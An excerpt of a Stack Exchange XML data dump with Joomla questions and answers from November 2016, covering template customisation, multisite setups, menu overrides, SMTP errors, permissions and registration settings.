  <row Id="18319" PostTypeId="2" ParentId="18312" CreationDate="2016-11-10T12:50:39.450" Score="2" Body="&lt;p&gt;I have used &lt;b&gt;Fields Attach&lt;/b&gt; on a few projects and it worked well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://extensions.joomla.org/extension/fieldsattach&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://extensions.joomla.org/extension/fieldsattach&lt;/a&gt; &lt;/p&gt; &#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://fieldsattach.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://fieldsattach.com&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="464" LastActivityDate="2016-11-10T12:50:39.450" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18320" PostTypeId="1" CreationDate="2016-11-10T13:16:46.937" Score="1" ViewCount="205" Body="&lt;p&gt;I'm a good wordpress user and i wanted to create a community site but found that buddypress needs alot of important functionalities and thats why i switched to jomsocial and joomla.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have chosen the socialize template here at this link &lt;a href=&quot;http://socialize.jomsocial.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://socialize.jomsocial.com/&lt;/a&gt; but i can't figure out how to customize it to be just as their demo website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To be honest i find that wordpress is much more easier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So please can anyone help me get my first steps with joomla.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Best regards.&lt;/p&gt;&#xA;" OwnerUserId="9270" LastEditorUserId="3650" LastEditDate="2016-12-01T13:03:31.840" LastActivityDate="2016-12-01T13:03:31.840" Title="How to customize a JomSocial template" Tags="|templates|jomsocial|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18321" PostTypeId="2" ParentId="18320" CreationDate="2016-11-10T13:45:41.697" Score="1" Body="&lt;p&gt;WP IS easier but less powerfull than Joomla. That's not a secret.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have never used JomSocial templates, but I know that other template providers always ship QuickStart package with their templates, which looks and functions as template demo site.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Did you get a quickstart with your template purchase?&lt;br&gt;&#xA;If you did, just install it whole, instead of plain vanilla Joomla, and you will have exact replica of demo site, which you can customize to your liking.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Otherwise, you will need A LOT OF patience on steep learning curve in order to achieve demo site.&lt;br&gt;&#xA;It requires a lot of understanding of Joomla's logic and structure, template's role, components and modules functions, plugin addons...&lt;br&gt;&#xA;Something that JSE (Joomla Stack Exchange) is just not made for... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your best bet is to look for good Joomla tutorials then.&lt;br&gt;&#xA;I would recommend looking at &lt;a href=&quot;https://www.ostraining.com/classes/&quot; rel=&quot;nofollow noreferrer&quot;&gt;OSTraining Classes&lt;/a&gt; and watch Beginner videos as a good starting point.&lt;/p&gt;&#xA;" OwnerUserId="3650" LastEditorUserId="3650" LastEditDate="2016-11-10T14:17:00.010" LastActivityDate="2016-11-10T14:17:00.010" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="18322" PostTypeId="1" CreationDate="2016-11-10T14:00:49.200" Score="3" ViewCount="925" Body="&lt;p&gt;I want to make a website that uses the same joomla files but different websites for each subdomain. I figured this approach is best for a multi website installation. Each subsite is a simple site that frontend users can create/edit articles from certain categories or upload images and files (for download). Also the database content (users, articles, images) is not shared between subsites. The reason I want the same files is that so I can edit the template files all at once, for instance to manually insert a common banner for all websites. I know that if I want to install a plugin for all the sites, I will have to manually install and configure them on each subsite, but I see no alternative.&lt;br/&gt; &lt;br/&gt;&#xA;What I want to know if this is possible.&lt;br/&gt;&lt;br/&gt;&#xA;I am also opened for suggestions on different approaches. (If any extensions are involved I would preffer free ones.)&lt;/p&gt;&#xA;" OwnerUserId="9271" LastEditorUserId="3650" LastEditDate="2016-11-13T09:18:38.260" LastActivityDate="2016-11-13T10:11:58.327" Title="Different database for different subdomains but same files" Tags="|joomla-3.x|multi-sites|" AnswerCount="2" CommentCount="4" ClosedDate="2016-12-05T21:28:41.147" ContentLicense="CC BY-SA 3.0" />
  <row Id="18323" PostTypeId="2" ParentId="18322" CreationDate="2016-11-10T14:11:22.340" Score="3" Body="&lt;p&gt;Yes, it is possible, but there is no free extension for such a mighty task.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have used &lt;a href=&quot;https://alterbrains.com/joomla-extensions/administration/multisites-manager&quot; rel=&quot;nofollow noreferrer&quot;&gt;AlterBrains MightySites&lt;/a&gt; extension before, in various &lt;a href=&quot;https://alterbrains.com/joomla-extensions/administration/multisites-manager/case-studies&quot; rel=&quot;nofollow noreferrer&quot;&gt;Case Scenarios&lt;/a&gt;, with a great success.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;MightySites is Joomla! multisites manager and allows you to have multiple sites running in single hosting account and share database data between different Joomla! sites, with following features: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Single login/logout on websites.&lt;/li&gt;&#xA;&lt;li&gt;No hacks of core files are required and no Joomla! core files are patched.&lt;/li&gt;&#xA;&lt;li&gt;Ability to use database content, users (with Community Builder and JomSocial support) from other sites.&lt;/li&gt;&#xA;&lt;li&gt;You can have many Joomla! websites using a single hosting account, with same users and JomSocial contents but with different template style etc.&lt;/li&gt;&#xA;&lt;li&gt;You can easily replicate your current website into other website without building new hosting account!&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;MightySites is used for 2 main tasks:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Run multiple Joomla websites from single hosting account (all sites use same files but different database data).&lt;/li&gt;&#xA;&lt;li&gt;Sharing of database contents (multiple sites can use same database tables, so these data are always same across all sites).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Highly Recommended.&lt;/p&gt;&#xA;" OwnerUserId="3650" LastEditorUserId="3650" LastEditDate="2016-11-10T15:14:34.547" LastActivityDate="2016-11-10T15:14:34.547" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18324" PostTypeId="2" ParentId="18287" CreationDate="2016-11-10T14:26:47.463" Score="0" Body="&lt;p&gt;Copy these files &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;../modules/mod_menu/tmpl/default.php&lt;/li&gt;&#xA;&lt;li&gt;../modules/mod_menu/tmpl/default_url.php &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;to folder&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;../templates/your_template_name/html/mod_menu/ &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Edit the file ../templates/your_template_name/html/mod_menu/default.php and change this code below (arround lines 62) :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($item-&amp;gt;deeper)&#xA;    {&#xA;        $class .= ' deeper';&#xA;    }&#xA;&#xA;    if ($item-&amp;gt;parent)&#xA;    {&#xA;        $class .= ' parent';&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($item-&amp;gt;deeper)&#xA;    {&#xA;        $class .= ' dropdown';&#xA;    }&#xA;&#xA;    if ($item-&amp;gt;parent)&#xA;    {&#xA;        $class .= ' parent';&#xA;    }&#xA;    if (($item-&amp;gt;level == 2) &amp;amp;&amp;amp; ($item-&amp;gt;parent)) {&#xA;        $class .= ' dropdown-submenu';&#xA;    }&#xA;    if (!empty($class))&#xA;    {&#xA;        $class = ' class=&quot;' . trim($class) . '&quot;';&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and at line 86&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($item-&amp;gt;deeper)&#xA;    {&#xA;        echo '&amp;lt;ul class=&quot;nav-child unstyled small&quot;&amp;gt;';&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($item-&amp;gt;deeper)&#xA;    {&#xA;        echo '&amp;lt;ul class=&quot;dropdown-menu&quot;&amp;gt;';&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then open file ../templates/your_template_name/html/mod_menu/default_url.php and add this code &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($item-&amp;gt;parent)&#xA;{&#xA;    $attributes['class'] = 'dropdown-toggle';&#xA;    $attributes['data-toggle'] = 'dropdown';&#xA;    $attributes['role'] = 'button';&#xA;    $attributes['aria-haspopup'] = 'true';&#xA;    $attributes['aria-expanded'] = 'false';&#xA;    $linktype = $item-&amp;gt;title . '&amp;lt;span class=&quot;caret&quot;&amp;gt;&amp;lt;/span&amp;gt;';&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I haven't tested it yet, but you should get the idea for further modifications, if needed.&lt;/p&gt;&#xA;" OwnerUserId="2295" LastActivityDate="2016-11-10T14:26:47.463" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18326" PostTypeId="2" ParentId="18077" CreationDate="2016-11-10T14:36:19.837" Score="1" Body="&lt;p&gt;I think you were copied the wrong file + wrong target folder too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To override the com_contact you need to copy the file &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;.../components/com_contact/views/contact/tmpl/default.php&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;to &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;../templates/your_template_name/html/com_contact/contact/default.php&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="2295" LastActivityDate="2016-11-10T14:36:19.837" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18327" PostTypeId="2" ParentId="18316" CreationDate="2016-11-10T14:50:27.947" Score="1" Body="&lt;p&gt;Your question is not clear enough.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are looking for a module to show component's content in a sidebar or somewhere else on site, you can find few modules on &lt;a href=&quot;http://www.phoca.cz/download/category/68-phoca-download&quot; rel=&quot;nofollow noreferrer&quot;&gt;Phoca's extension download index&lt;/a&gt;.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess that &lt;a href=&quot;http://www.phoca.cz/download/category/42-phoca-download-tree-module&quot; rel=&quot;nofollow noreferrer&quot;&gt;Phoca Download Tree Module&lt;/a&gt; is just what doctor prescribed. I have never used Phoca before, but it sounds right.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Otherwise, if you are looking for some SiteMap plugin (for OSMap or JSiteMap) to show Phoca Download links in whole site map for Google indexing, I am not aware of such a plugin.&lt;/p&gt;&#xA;" OwnerUserId="3650" LastEditorUserId="3650" LastEditDate="2016-11-10T20:05:57.243" LastActivityDate="2016-11-10T20:05:57.243" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18328" PostTypeId="1" CreationDate="2016-11-10T15:16:04.993" Score="4" ViewCount="1679" Body="&lt;p&gt;I have a vanilla Joomla installation. I installed RSForm plugin to send emails from Contact Us form.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, when the user fills out the form get the message: &lt;code&gt;SMTP connect() failed&lt;/code&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to change the settings on joomla to send emails from  Gmail.&lt;br&gt;&#xA;Here are the mail settings of the configuration.php file:&lt;br&gt;&#xA;&lt;code&gt;Mail from:  myname@gmail.com &#xA;mailer = smtp &#xA;sendmail = /usr/sbin/sendmail &#xA;fromname = myname &#xA;smtpuser: gmail username &#xA;smtp password: gmail password &#xA;smtp security: TLS &#xA;SMTP Host: smtp.gmail.com&lt;/code&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can connect via SSH to the terminal of my server&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After doing so and executing the Telnet command accessing &lt;code&gt;smtp.gmail.com&lt;/code&gt; via port 587, this is what I get:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;myserver:~# telnet smtp.gmail.com 587 &#xA;Trying 173.194.79.108... &#xA;Connected to gmail-smtp-msa.l.google.com. &#xA;Escape character is '^]'.&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At least we can see that it is connecting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as the mail logs goes here I've looked at them and only can see sender of Joomla and not from myself&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="9273" LastEditorUserId="3650" LastEditDate="2016-11-10T15:29:09.237" LastActivityDate="2020-07-02T19:29:52.847" Title="SMTP connect() failed, Cannot send mails" Tags="|joomla-3.x|php|emails|global-configuration|smtp|" AnswerCount="3" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="18329" PostTypeId="2" ParentId="18311" CreationDate="2016-11-10T15:45:50.413" Score="0" Body="&lt;p&gt;The user escalation problem is fixed on 3.6.4, so, if you are using this version, you shouldn't have this problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Nevertheless, I suggest you disable user registration on your website. This is explained &lt;a href=&quot;http://www.itoctopus.com/allow-user-registration-should-be-set-to-no-by-default-on-joomla&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;. If you do need user registration on the frontend of your website, then make sure that only an administrator is able to activate these accounts.&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2016-11-10T15:45:50.413" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18330" PostTypeId="2" ParentId="18290" CreationDate="2016-11-10T15:57:38.983" Score="2" Body="&lt;p&gt;By default, the file permissions on Joomla extracted files are 644 and the folder permissions are 755.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're seeing something different, then, as @jdog mentioned above, you will need check your &lt;code&gt;umask&lt;/code&gt; settings (if you have a system administrator then I suggest you let him handle this). &lt;code&gt;umask&lt;/code&gt; is used to remove deny default permissions (it is not used to add additional permissions). I would say you have your &lt;code&gt;umask&lt;/code&gt; set to 077 for your Apache process.&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2016-11-10T15:57:38.983" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18331" PostTypeId="1" CreationDate="2016-11-10T21:28:15.637" Score="0" ViewCount="139" Body="&lt;p&gt;I am still getting user registration emails. But the thing is, my site is set to &quot;OFFLINE&quot; (so only I as Super User must login to even access the frontend) and I have User Registration set to &quot;No&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How are people still registering on my site?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't even have a login/registration module published on the frontend.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am confused as to how I am getting user registration emails?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="7171" LastEditorUserId="3650" LastEditDate="2016-11-18T12:44:48.500" LastActivityDate="2016-11-18T12:44:48.500" Title="User Registration Emails? - Site Offline and Registration Disabled" Tags="|joomla-3.x|user|registration|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18333" PostTypeId="1" CreationDate="2016-11-10T23:51:04.507" Score="0" ViewCount="169" Body="&lt;p&gt;I'm trying to restrict to each user to only edit its own items created in zoo but I can't achieve that. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My steps was:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Create user group &lt;code&gt;fake group&lt;/code&gt; (inherit from public).&lt;/li&gt;&#xA;&lt;li&gt;Create level access &lt;code&gt;fake level&lt;/code&gt; and assign &lt;code&gt;fake group&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;create user &lt;code&gt;fake-user&lt;/code&gt; and assign &lt;code&gt;fake group&lt;/code&gt; and &lt;code&gt;Administrator&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;After that I logged in using &lt;code&gt;fake-user&lt;/code&gt; and I created one zoo item.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I made tihs proccess with every user but when i get logged in, doesn't matter user, I am able to modify any item, in spite of I don create that item.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How could I solve this problem?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: I'm trying in &lt;code&gt;global configuration&lt;/code&gt; &gt; &lt;code&gt;permissions&lt;/code&gt; &gt; &lt;code&gt;Edit&lt;/code&gt; -&gt; &lt;code&gt;Denied&lt;/code&gt; but no result.&lt;/p&gt;&#xA;" OwnerUserId="9278" LastEditorUserId="9278" LastEditDate="2016-11-10T23:56:22.813" LastActivityDate="2024-04-04T08:01:55.257" Title="Restrict user to only edit its own items in zoo" Tags="|component|user|zoo|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18334" PostTypeId="2" ParentId="18333" CreationDate="2016-11-11T08:27:35.890" Score="0" Body="&lt;p&gt;There is some time since I last worked with zoo, but certainly zoo has its own local permissions which may override the global ones.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition, you should be specific with any permssions, in order these changes will reflect exactly what you want to do. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Having said that, note that any global permissions may affect many areas of the Joomla site. So for being specific with zoo only I would suggest to review your zoo app's local permissions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So go:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Zoo -&gt; zoo app -&gt; congig -&gt; permissions tab.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;And adjust accordingly. &lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2016-11-11T08:27:35.890" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18335" PostTypeId="1" CreationDate="2016-11-11T09:41:52.920" Score="1" ViewCount="72" Body="&lt;p&gt;Google Console Error&lt;/p&gt;&#xA;&#xA;&lt;p&gt;TypeError: Cannot read property '_widget' of undefined&lt;/p&gt;&#xA;&#xA;&lt;p&gt;angular-63423c4c.js:102&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cannot Save Changes, change images or text!&lt;/p&gt;&#xA;" OwnerUserId="9280" LastActivityDate="2016-11-11T10:03:33.777" Title="Widget Kit Broken on brand new installation" Tags="|joomla-3.x|widgetkit|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18336" PostTypeId="2" ParentId="18335" CreationDate="2016-11-11T10:03:33.777" Score="1" Body="&lt;p&gt;Fixed add always_populate_raw_post_data = -1 to php.ini&lt;/p&gt;&#xA;" OwnerUserId="9280" LastActivityDate="2016-11-11T10:03:33.777" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18337" PostTypeId="2" ParentId="18331" CreationDate="2016-11-11T21:27:51.030" Score="1" Body="&lt;p&gt;There is a nice document &lt;a href=&quot;https://vel.joomla.org/articles/1730-users-registering-without-a-registration-form-being-published&quot; rel=&quot;nofollow noreferrer&quot;&gt;Users registering without a registration form being published&lt;/a&gt; at Joomla VEL (Vulnerable Extensions List) site, which explains it and have a few recommendations how to avoid it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are few very good answers to similar question here on JSE: &lt;a href=&quot;https://joomla.stackexchange.com/questions/14047/how-to-stop-fake-users-from-registering-on-my-website&quot;&gt;How to stop (fake) users from registering on my website?&lt;/a&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is also official document on &lt;a href=&quot;https://docs.joomla.org/Setting_user_registration_policy&quot; rel=&quot;nofollow noreferrer&quot;&gt;Setting user registration policy&lt;/a&gt; at Joomla Documentations site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, I don't know what to make of the fact that you have site Offline, and still get registration emails. Only thing I can think of is that your Joomla is lower than 3.6.4, but you haven't specified it.&lt;/p&gt;&#xA;" OwnerUserId="3650" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.780" LastActivityDate="2016-11-12T09:06:48.733" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18339" PostTypeId="2" ParentId="18328" CreationDate="2016-11-12T02:31:18.093" Score="0" Body="&lt;p&gt;I was once having the same problem, but not with Joomla (other platform).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The issue was suddenly happened (it worked good before). My server were able to connect gmail via telnet just like yours but when script was executed it's always returned SMTP connect failed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I spent many hours to troubleshoot this with no luck. I checked the script,  all firewall rules and everything was fine. And later, that was ended with my gmail account suspended by google said I’m violating their tos without any good reason. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I think this issue probably comes from the google end. They are probably becoming too strict. I'd suggest you to use dedicated email service such as &lt;a href=&quot;https://sendgrid.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Sendgrid&lt;/a&gt; or &lt;a href=&quot;https://aws.amazon.com/ses/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Amazon SES&lt;/a&gt; (they are cheap) that indeed provide service for that purpose (transactional email service) while maybe google doesn't want their service to be used for that purpose. &lt;/p&gt;&#xA;" OwnerUserId="2295" LastActivityDate="2016-11-12T02:31:18.093" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18340" PostTypeId="1" CreationDate="2016-11-12T10:21:55.627" Score="1" ViewCount="220" Body="&lt;p&gt;pretty sure this is a rhetorical question... but....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to use the showon option based on a media field having a file selected?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what I'd like: all subsequent form fields hidden unless a media file is selected&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&quot;feature_bg&quot; type=&quot;media&quot; label=&quot;TPL_MODULE_BG_LABEL&quot;&amp;gt;&amp;lt;/field&amp;gt;&#xA;&amp;lt;field name=&quot;feature_bg_attachment&quot;&#xA;    type=&quot;list&quot; &#xA;    default=&quot;fixed&quot;&#xA;    showon=&quot;feature_bg:true&quot; &#xA;    label=&quot;TPL_MODULE_BG_ATTACHMENT_LABEL&quot; &#xA;    description=&quot;TPL_MODULE_BG_ATTACHMENT_DESC&quot;&amp;gt;&#xA;        &amp;lt;option value=&quot;scroll&quot;&amp;gt;TPL_BG_SCROLL&amp;lt;/option&amp;gt;&#xA;        &amp;lt;option value=&quot;fixed&quot;&amp;gt;TPL_BG_FIXED&amp;lt;/option&amp;gt;&#xA;        &amp;lt;option value=&quot;parallax&quot;&amp;gt;TPL_BG_PARALLAX&amp;lt;/option&amp;gt;&#xA;&amp;lt;/field&amp;gt;&#xA;&amp;lt;field name=&quot;feature_bg_size&quot;&#xA;    type=&quot;list&quot; &#xA;    default=&quot;cover&quot; &#xA;    showon=&quot;feature_bg:true&quot; &#xA;    label=&quot;TPL_MODULE_BG_SIZE_LABEL&quot; &#xA;    description=&quot;TPL_MODULE_BG_SIZE_DESC&quot;&amp;gt;&#xA;        &amp;lt;option value=&quot;cover&quot;&amp;gt;TPL_BG_COVER&amp;lt;/option&amp;gt;&#xA;        &amp;lt;option value=&quot;100% 100%&quot;&amp;gt;TPL_BG_100&amp;lt;/option&amp;gt;&#xA;        &amp;lt;option value=&quot;auto&quot;&amp;gt;TPL_BG_AUTO&amp;lt;/option&amp;gt;&#xA;        &amp;lt;option value=&quot;contain&quot;&amp;gt;TPL_BG_CONTAIN&amp;lt;/option&amp;gt;&#xA;&amp;lt;/field&amp;gt;&#xA;&amp;lt;field name=&quot;feature_bg_repeat&quot;&#xA;    type=&quot;list&quot; &#xA;    default=&quot;no-repeat&quot; &#xA;    showon=&quot;feature_bg:true&quot; &#xA;    label=&quot;TPL_MODULE_BG_REPEAT_LABEL&quot; &#xA;    description=&quot;TPL_MODULE_BG_REPEAT_DESC&quot;&amp;gt;&#xA;        &amp;lt;option value=&quot;no-repeat&quot;&amp;gt;TPL_BG_NO_REPEAT&amp;lt;/option&amp;gt;&#xA;        &amp;lt;option value=&quot;repeat&quot;&amp;gt;TPL_BG_REPEAT&amp;lt;/option&amp;gt;&#xA;        &amp;lt;option value=&quot;repeat-x&quot;&amp;gt;TPL_BG_REPEAT_X&amp;lt;/option&amp;gt;&#xA;        &amp;lt;option value=&quot;repeat-y&quot;&amp;gt;TPL_BG_REPEAT_Y&amp;lt;/option&amp;gt;&#xA;&amp;lt;/field&amp;gt;&#xA;&amp;lt;field name=&quot;feature_bg_position&quot;&#xA;    type=&quot;list&quot; &#xA;    default=&quot;left top&quot; &#xA;    showon=&quot;feature_bg:true&quot; &#xA;    label=&quot;TPL_MODULE_BG_POSITION_LABEL&quot; &#xA;    description=&quot;TPL_MODULE_BG_POSITION_DESC&quot;&amp;gt;&#xA;        &amp;lt;option value=&quot;left top&quot;&amp;gt;TPL_BG_LT&amp;lt;/option&amp;gt;&#xA;        &amp;lt;option value=&quot;left center&quot;&amp;gt;TPL_BG_LC&amp;lt;/option&amp;gt;&#xA;        &amp;lt;option value=&quot;left bottom&quot;&amp;gt;TPL_BG_LB&amp;lt;/option&amp;gt;&#xA;        &amp;lt;option value=&quot;right top&quot;&amp;gt;TPL_BG_RT&amp;lt;/option&amp;gt;&#xA;        &amp;lt;option value=&quot;right center&quot;&amp;gt;TPL_BG_RC&amp;lt;/option&amp;gt;&#xA;        &amp;lt;option value=&quot;right bottom&quot;&amp;gt;TPL_BG_RB&amp;lt;/option&amp;gt;&#xA;        &amp;lt;option value=&quot;center top&quot;&amp;gt;TPL_BG_CT&amp;lt;/option&amp;gt;&#xA;        &amp;lt;option value=&quot;center center&quot;&amp;gt;TPL_BG_CC&amp;lt;/option&amp;gt;&#xA;        &amp;lt;option value=&quot;center bottom&quot;&amp;gt;TPL_BG_CB&amp;lt;/option&amp;gt;&#xA;&amp;lt;/field&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8460" LastActivityDate="2016-11-12T10:21:55.627" Title="Form field option showon media select" Tags="|joomla-3.6|showon|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18341" PostTypeId="1" AcceptedAnswerId="18342" CreationDate="2016-11-12T11:35:09.433" Score="2" ViewCount="367" Body="&lt;p&gt;I've created an article, and in its options I've set to hide the article info (Publish date, Hits, and so on). When I show the article on the site, I can see these data that are not hidden. I've already cleared the cache, and I've noticed that if I change the position of article info (above, below, split) these changes are set correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I hide the article info?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/kvb9l.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/kvb9l.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/lvgmY.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/lvgmY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9211" LastActivityDate="2016-11-12T11:55:58.190" Title="Cannot remove article info" Tags="|joomla-3.x|articles|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18342" PostTypeId="2" ParentId="18341" CreationDate="2016-11-12T11:55:58.190" Score="4" Body="&lt;p&gt;If you are created a menu item for the article (Single Article menu item) then the article options are overriden by the menu options. You should hide those article infos (Publish date, Hits, and so on) from the menu option, not the article option.&lt;/p&gt;&#xA;" OwnerUserId="2295" LastActivityDate="2016-11-12T11:55:58.190" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18343" PostTypeId="1" AcceptedAnswerId="18353" CreationDate="2016-11-12T18:51:15.443" Score="6" ViewCount="1336" Body="&lt;p&gt;I am running Joomla 3.6 and I just want to add some informational text at the top of the registration form. I have seen suggestions about language overrides but that doesn't mean anything to me. With the login form you can add text above and below. Is there not someting similar for the registration form? If not can somebody please explain how I can add some text without the danger of it dissapearing when I update. &#xA;Thanks&lt;/p&gt;&#xA;" OwnerUserId="9286" LastActivityDate="2018-06-18T05:31:49.310" Title="Adding text to registration form" Tags="|user|login|registration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
